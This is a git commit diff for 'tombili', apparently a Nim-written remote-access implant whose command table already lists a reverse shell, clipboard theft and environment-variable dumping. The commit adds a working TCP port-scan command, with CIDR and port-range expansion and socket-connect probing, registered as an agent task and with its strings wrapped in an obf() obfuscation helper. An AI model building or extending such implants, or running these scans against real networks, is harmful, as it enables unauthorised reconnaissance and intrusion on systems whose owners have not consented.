Added portscan command to tombili

This commit is contained in:
connorgadbois 2026-09-29 09:40:20 -05:00
parent 1852ed73ba
commit c03fee5be0
4 changed files with 123 additions and 0 deletions

View File

@ -25,6 +25,7 @@ nim c -d:release -d:ssl -o:tombili.exe src/main.nim
|`getenv`|Windows, Linux|Get all environment variables||
|`pid`|Windows, Linux|Get the ID of the current process||
|`reverseshell`|Windows, Linux|Start a reverse shell|ip: str, port: int|
|`portscan`|Windows, Linux|Scan a range of ports on a range of IPs|ip_range: str, port_range: str|
|`msgbox`|Windows|Display a message box|title: str, body: str|
|`getclipboard`|Windows|Get the contents of the clipboard||
|`kill`|Windows, Linux|Kill the agent||

View File

@ -143,6 +143,19 @@ when defined(linux):
)
)
# portscan
commands.add(
Command(
command: obf("portscan"),
description: obf("Scan a range of ports on a range of IPs"),
args: @[
CommandArgument(name: obf("ip_range"), arg_type: obf("str"), description: obf("The IP range to scan"), required: true),
CommandArgument(name: obf("port_range"), arg_type: obf("str"), description: obf("The port range to scan"), required: true)
],
function: shared.portScan
)
)
# pid
commands.add(
Command(

View File

@ -0,0 +1,81 @@
import net
import strutils
import utils
type
PortScanResult* = object
ip*: string
port*: int
status*:string
proc expandIpRange*(ipOrCidr: string): seq[string] =
## Expand IP address or CIDR notation into list of IPs
result = @[]
if "/" in ipOrCidr:
# CIDR notation - expand subnet
let parts = ipOrCidr.split("/")
if parts.len != 2:
return @[ipOrCidr] # Invalid, return as-is
var baseIp = parts[0]
var prefixLen = try: parseInt(parts[1]) except: 32
# For simplicity, only support /24 and larger subnets
if prefixLen >= 24:
let ipParts = baseIp.split(".")
if ipParts.len != 4:
return @[ipOrCidr]
var base = ipParts[0] & "." & ipParts[1] & "." & ipParts[2] & "."
var hostBits = 32 - prefixLen
var numHosts = 1 shl hostBits
for i in 1..<numHosts-1: # Skip network and broadcast
result.add(base & $i)
else:
# For /16 or larger, just return the base IP to avoid huge scans
result.add(baseIp)
else:
result.add(ipOrCidr)
proc expandPortRange*(portStr: string): seq[int] =
## Expand port range string into list of ports
## Supports: "80", "80,443", "80-85", "80,443,1000-1005"
result = @[]
var parts = portStr.split(",")
for part in parts:
let trimmed = part.strip()
if "-" in trimmed:
let rangeParts = trimmed.split("-")
if rangeParts.len == 2:
let start = try: parseInt(rangeParts[0].strip()) except: 0
let stop = try: parseInt(rangeParts[1].strip()) except: 0
if start > 0 and stop > 0 and start <= stop:
for p in start..stop:
if p > 0 and p <= 65535:
result.add(p)
else:
let port = try: parseInt(trimmed) except: 0
if port > 0 and port <= 65535:
result.add(port)
proc scanPorts*(ips: seq[string], ports: seq[int]): seq[PortScanResult] =
var results: seq[PortScanResult]
var portStatus: string
for ip in ips:
for port in ports:
try:
var socket: Socket = newSocket()
socket.connect(ip, Port(port), timeout=100)
socket.close()
portStatus = obf("OPEN")
except:
portStatus = obf("CLOSED")
results.add(PortScanResult(ip: ip, port: port, status: portStatus))
return results

View File

@ -6,6 +6,7 @@ import threadpool
import sleep
import revShell
import utils
import portScanning
const DATE_FORMAT: string = obf("yyyy-MM-dd'T'HH:mm:ss")
@ -135,6 +136,33 @@ proc pid*(task: JsonNode): string =
except Exception as e:
return obf("Failed to get the PID: ") & e.msg
proc portScan*(task: JsonNode): string =
var args: seq[JsonNode] = task[obf("args")].getElems
var ipsRange: string = args[0].getStr
var portsRange: string = args[1].getStr
var ips: seq[string] = expandIpRange(ipsRange)
var ports: seq[int] = expandPortRange(portsRange)
if ips.len == 0:
return obf("No IPs selected, scan aborted")
if ports.len == 0:
return obf("No ports selected, scann aborted")
var results: seq[PortScanResult]
try:
results = scanPorts(ips, ports)
except Exception as e:
return obf("An error occured while scanning the ports: ") & e.msg
var resultString: string = obf("Scan results:")
for scan in results:
resultString = resultString & "\n\t" & scan.ip & ":" & $scan.port & obf(" -> ") & scan.status
return resultString
proc sleepThenQuit(): void =
sleep(1000)
quit(0)